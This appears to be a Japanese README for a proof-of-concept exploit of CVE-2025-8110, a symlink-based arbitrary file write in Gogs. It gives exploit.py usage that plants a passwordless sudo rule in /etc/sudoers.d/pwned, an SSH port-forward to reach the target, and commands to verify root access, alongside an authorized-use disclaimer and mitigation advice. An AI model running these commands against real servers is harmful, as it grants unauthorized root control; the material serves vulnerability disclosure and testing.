
CVE-2025-8110 の PoC - Gogs におけるシンボリックリンク経由の任意ファイル書き込み
Gogs における認証済み任意ファイル書き込みの概念実証です。 リポジトリの外部を指すシンボリックリンクを含むリポジトリをプッシュし、そのリンクの内容を API 経由で更新すると、 認証済みユーザーは Gogs を実行しているアカウントの権限でホスト上のファイルを上書きできます。
許可されたテストおよび教育目的に限ります。 自分が所有するシステム、または明示的な書面によるテスト許可を得た システムに対してのみ実行してください。使用方法については、あなた自身に責任があります。
malicious_link -> /path/on/host) を追加してプッシュします。PUT を送信して malicious_link を更新します。Gogs はシンボリックリンクを辿り、
指定されたコンテンツを自身の権限でターゲットパスに書き込みます。Gogs が root で実行されている場合、
これは直接的な権限昇格のプリミティブとなります (例: /etc/sudoers.d/ にルールを仕込む)。書き込みを実際にトリガーするのは API の PUT です。プッシュはシンボリックリンクを配置するだけです。
git があることpip install -r requirements.txt
python3 exploit.py \
-u http://127.0.0.1:3000 \
--user <username> \
--password '<password>' \
--target /etc/sudoers.d/pwned \
--payload '<username> ALL=(ALL) NOPASSWD: ALL'
--password を省略すると、コマンドラインで渡す代わりに安全にプロンプトが表示されます。
Gogs はターゲット上で localhost にバインドされていることがよくあります。SSH のローカルポートフォワーディングを使用して、 自分のマシンに公開します (ターゲットに合わせてポートを調整してください):
ssh -L 3000:127.0.0.1:3000 user@target
# then point the exploit at http://127.0.0.1:3000
実行が成功したら、ホスト上で (該当ユーザーとして) 確認します:
cat /etc/sudoers.d/pwned
sudo -l
sudoers ルールを書き込んだ場合、/etc/sudoers.d/ 内のファイルは有効であり、sudo が認識するための適切な
パーミッションを持つ必要があることに注意してください。
auto_init が HTTP 500 を返す — スクリプトは空のリポジトリを作成し、ローカルの git init + push で
内容を投入するフォールバックを行います。master と main の違いも処理します。Contents API でシンボリックリンクを検証する Gogs リリースにアップグレードしてください。多層防御として、 Gogs を root で実行しないようにし、リポジトリのストレージを分離してください。
MIT — LICENSE を参照してください。